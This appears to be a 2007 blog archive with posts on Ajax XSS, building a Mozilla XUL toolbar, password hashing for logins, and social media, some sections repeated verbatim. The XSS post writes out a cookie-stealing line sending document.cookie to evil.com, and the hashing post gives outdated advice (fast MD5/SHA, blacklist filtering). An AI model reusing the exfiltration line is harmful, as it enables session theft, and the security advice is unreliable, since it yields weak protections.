Ajax (Asynchronous javascript and XML) is the key technology in web 2.0. In web 2.0 world, Ajax changes the presentation of web pages by dynamically loading data from server. But these applications also become vulnerable to attack. Hackers can easily insert malicious code into server response. But how ?
Lets say you are dynamically loading user Photo in a social networking environment. You are expecting JSON response like this
{ user_avatar: './img/avatar1.jpg' }
and once you have the data, you are directly changing the src of the user photo section using DOM
document.getElementById("user_photo").src = response.user_avatar;
So simple .... but there is security hole which can allow the hacker enter into your homepage without login.
Step 1 : Hacker modifies the JSON response. Now the response looks like
{ user_avatar: "http://evil.com/steal?cookie="+ document.cookie}
Step 2 : You replace the user_photo with this one.
document.getElementById("user_photo").src = response.user_avatar;
Step 3 : Browser will first evaluate document.cookie and then try to load the URL. It will call evil.com site with your browser cookie. If you store user password in browser cookie, that will be accessible to hacker. Also he will get the session ID from cookie and using that he will enter into user home page without login.
Example
<html>
<head>
<script language="javascript">
function test() {
document.getElementById("avatar").src="http://evil.com/steal?cookie="+ document.cookie;
}
</script>
</head>
<body >
<input type="button" value="Test" onclick="test()">
<img src="" id="avatar" alt="User avatar">
</body>
</html>
This is called XSS (Cross site scripting) Attack. To prevent this attack, always validate your input and response output. Remove all the <script> tags if available before performing any operation like evaluating the script using eval() function. Also document.cookie is a very dangerous string to have in your Ajax Response. So, it is recommended to create a list of potentially dangerous strings and before evaluating the response, pass the response through a filter to remove all such strings.
Once you secure the JSON response string, convert it into JSON object and perform your operation.
Saturday, July 7, 2007
Monday, July 2, 2007
Creating Mozilla toolbar
Last month I implemented one custom mozilla toolbar for our application using XUL (XML User Interface Language). Its an amazing framework. Lets create a sample toolbar to detect and collect images from any website.
Setup - Workspace directory structure
toolbar (TOP Level Directory)
--chrome
----content
----skin
--install.rdf (empty file)
--chrome.manifest (empty file)
Mozilla browser has following sections
(toolbar+menubar+status bar) = part of chrome
mozilla browser uses XUL for the UI. The default xul is browser.xul. You can add extra functionality by providing custom xul file. So, almost every mozilla extension has one xul file. This file is used to add toolbar button, right click context menu etc.
Step 1
Add one xul file to override browser default UI. This will add one "Right click context menu" => Toolbar::Collect it
Step 2
When you click on the context menu => javascript collect function is called. We have added one overlay.js file. This file is also in Content directory.
window.addEventListener("load", initToolbar, true);
var aConsoleService = Components.classes["@mozilla.org/consoleservice;1"].
getService(Components.interfaces.nsIConsoleService);
function initToolbar() {
var menu = document.getElementById("contentAreaContextMenu");
menu.addEventListener("popupshowing", contextPopupShowing, false);
}
function contextPopupShowing() {
var menuitem = document.getElementById("zoomarena-menu");
if(menuitem)
menuitem.hidden = !gContextMenu.onImage;
}
function collect() {
aConsoleService.logStringMessage("Collect sample");
if ( gContextMenu.onImage) {
var img = gContextMenu.target;
if ( img ) {
var newTab = gBrowser.addTab(img.src);
gBrowser.selectedTab = newTab;
}
}
}
Here we have added one listener function "initToolbar" when the toolbar gets loaded. In initToolbar we have added one more listener function (when context menu is about to become visible => this function will be called). Using this function, we check if the context menu is on one image => show that "Toolbar::collect it" otherwise don't show it.
We also define the collect() function used in overlay.xul. This will get the img src and open it in new browser tab.
Step 3
You are almost done. Define a chrome.menifest file (in toolbar folder) to register the new overlay. You can use this file to register custom skin (icons used in the toolbar and css file). Here chrome/skin folder is empty.We will just register the new overlay.
content toolbar jar:chrome/toolbar.jar!/content/
overlay chrome://browser/content/browser.xul chrome://toolbar/content/overlay.xul
Step 4
Define install.rdf file. This file is self explanatory.
Step 5
Packaging. Here is the script to package the toobar and distribute as a xpi file. Here is the file (xp.bat)
cd chrome
rm toolbar.jar
zip -r toolbar.jar content/
cd ..
rm toolbar.xpi
zip -r toolbar.xpi chrome.manifest install.rdf chrome/toolbar.jar
Final directory / file structure
toolbar
--xp.bat
--chrome.menifest
--install.rdf
--chrome
----content
------overlay.js
------overlay.xul
----skin
Execute xp.bat. This will create toolbar.xpi in toolbar directory. Now you are ready to distribute the package.
Setup - Workspace directory structure
toolbar (
--chrome
--install.rdf (empty file)
--chrome.manifest (empty file)
Mozilla browser has following sections
toolbar menubar window content status bar
Step 1
Add one xul file to override browser default UI. This will add one "Right click context menu" => Toolbar::Collect it
Step 2
When you click on the context menu => javascript collect function is called. We have added one overlay.js file. This file is also in Content directory.
window.addEventListener("load", initToolbar, true);
var aConsoleService = Components.classes["@mozilla.org/consoleservice;1"].
getService(Components.interfaces.nsIConsoleService);
function initToolbar() {
var menu = document.getElementById("contentAreaContextMenu");
menu.addEventListener("popupshowing", contextPopupShowing, false);
}
function contextPopupShowing() {
var menuitem = document.getElementById("zoomarena-menu");
if(menuitem)
menuitem.hidden = !gContextMenu.onImage;
}
function collect() {
aConsoleService.logStringMessage("Collect sample");
if ( gContextMenu.onImage) {
var img = gContextMenu.target;
if ( img ) {
var newTab = gBrowser.addTab(img.src);
gBrowser.selectedTab = newTab;
}
}
}
Here we have added one listener function "initToolbar" when the toolbar gets loaded. In initToolbar we have added one more listener function (when context menu is about to become visible => this function will be called). Using this function, we check if the context menu is on one image => show that "Toolbar::collect it" otherwise don't show it.
We also define the collect() function used in overlay.xul. This will get the img src and open it in new browser tab.
Step 3
You are almost done. Define a chrome.menifest file (in toolbar folder) to register the new overlay. You can use this file to register custom skin (icons used in the toolbar and css file). Here chrome/skin folder is empty.We will just register the new overlay.
content toolbar jar:chrome/toolbar.jar!/content/
overlay chrome://browser/content/browser.xul chrome://toolbar/content/overlay.xul
Step 4
Define install.rdf file. This file is self explanatory.
Step 5
Packaging. Here is the script to package the toobar and distribute as a xpi file. Here is the file (xp.bat)
cd chrome
rm toolbar.jar
zip -r toolbar.jar content/
cd ..
rm toolbar.xpi
zip -r toolbar.xpi chrome.manifest install.rdf chrome/toolbar.jar
Final directory / file structure
toolbar
--xp.bat
--chrome.menifest
--install.rdf
--chrome
----content
------overlay.js
------overlay.xul
----skin
Execute xp.bat. This will create toolbar.xpi in toolbar
Sunday, July 1, 2007
Building a secure login system
Sometimes we store plain text user passwords in database. If someone gets access to your database, he can damage the whole system. So its recommended to encrypt the password using one way hash algorithm before storing.
Hash value is unique for a sequence of input data. The beauty of one way hash algorithm is that we can easily get the hash value of piece of data but from the hash value its almost impossible to get back the original data. There are no of hash functions available
MD5 (Message Digest algorithm 5) is also widely used hashing algorithm. The output size = 128 bits. SHA is the successor of MD5.
Storing User detail
Lets say your application collects the following parameters while registering new user
SHA1 hash - PHP function - sha1($_POST['password'])
MD5 hash - PHP function -md5($_POST['password'])
User Authentication
When the user logs in, he will provide username and plain text password. Use the same algorithm you have used for calculating password hash at the time of registration and calculate the hash value again. As the HASH value is unique for a set of input characters and hence if the hash value matches, perform the Authentication success logic.
NOTE:: It is not safe to send the plain text user password over HTTP. Attacker can easily access that HTTP packet and extract the password. Always use SSL while sending user credential.
Weaknesses
By adding password hash you have made the hacker's life much more difficult. But its not yet a full proof solution. If somehow the hacker gets access to the database, he will try to crack the hash. Using a high speed CPU, we can generate HASH of n number of strings in one sec. So the hacker will start generating random strings and its hash value. If his random string algorithm is able to generate the same hash output that means the generated random string is the user password.
Follow the steps to fix this security hole
Hash value is unique for a sequence of input data. The beauty of one way hash algorithm is that we can easily get the hash value of piece of data but from the hash value its almost impossible to get back the original data. There are no of hash functions available
- SHA-1 - Output = 160 bits
- SHA-256 - Output = 256 bits
- SHA-512 - Output = 512 bits
MD5 (Message Digest algorithm 5) is also widely used hashing algorithm. The output size = 128 bits. SHA is the successor of MD5.
Storing User detail
Lets say your application collects the following parameters while registering new user
- name
- password
SHA1 hash - PHP function - sha1($_POST['password'])
MD5 hash - PHP function -md5($_POST['password'])
User Authentication
When the user logs in, he will provide username and plain text password. Use the same algorithm you have used for calculating password hash at the time of registration and calculate the hash value again. As the HASH value is unique for a set of input characters and hence if the hash value matches, perform the Authentication success logic.
NOTE:: It is not safe to send the plain text user password over HTTP. Attacker can easily access that HTTP packet and extract the password. Always use SSL while sending user credential.
Weaknesses
By adding password hash you have made the hacker's life much more difficult. But its not yet a full proof solution. If somehow the hacker gets access to the database, he will try to crack the hash. Using a high speed CPU, we can generate HASH of n number of strings in one sec. So the hacker will start generating random strings and its hash value. If his random string algorithm is able to generate the same hash output that means the generated random string is the user password.
Follow the steps to fix this security hole
- Generate a random string - RANDOM_STRING
- User has entered "xyz" as the password while registration.
- Append the generated string and then calculate HASH value. So instead of stroning HASH_ALGO($_POST['password']), store HASH_ALGO($_POST['password'].RANDOM_STRING)
- Store the RANDOM_STRING in database.
- Every time user logs in, use the previously used RANDOM_STRING to calculate hash. HASH_ALGO(USER_CREDENTIAL.RANDOM_STRING). Then compare this hash value with the stored hashed password. If it matches perform Authentication success logic + perform some extra steps to confuse the hacker
- At the time of verifying user credentials, you have the plain text password.
- Once verified -
- Generate another random string and compute
HASH_ALGO(USER_CREDENTIAL.NEW_RANDOM_STRING) = XYZ - Update database fields
password_hash and random_string - Thus we have updated the random number and the password hash value but not the actual password. But next time new random number will be used to validate user credential.
- This process will change the user password hash value every time user logs in. This will confuse the hacker. Also this process will make almost all password hash values unique which in turn reduce the database damage.
- Store password hash value.
- Use SSL to transmit plain text password.
- Ask user to change the password after every x number of days.
- Use the random string to make all the password hash values unique which will reduce database damage.
- Use random string algorithm to change database password_hash value every time user logs in. This will confuse the hacker.
Impact of Social Media
Social networking is really changing the way people spend time on internet. People love to create a virtual social community around them and some of them prefer to do activities in their virtual world than real world. Its not a new concept, but the way we present data is different. Just take an example of Instant messenger, its all about a private social network, where you have access to your friends profile only. But we wanna go beyond that. Now a days social networking sites help people reach out to someone he has met or never met before.
Its just the starting point. Soon we are going to see lots of new innovations in that direction. Now Web 2.0 has added a new dimension to web application.
India's mobile market is booming. Total no of mobile phone subscribers will cross 200 million very soon. Will Mobile social networking become the next big thing ? The opportunity is huge. Lets wait and watch.
Its just the starting point. Soon we are going to see lots of new innovations in that direction. Now Web 2.0 has added a new dimension to web application.
India's mobile market is booming. Total no of mobile phone subscribers will cross 200 million very soon. Will Mobile social networking become the next big thing ? The opportunity is huge. Lets wait and watch.
Subscribe to:
Posts (Atom)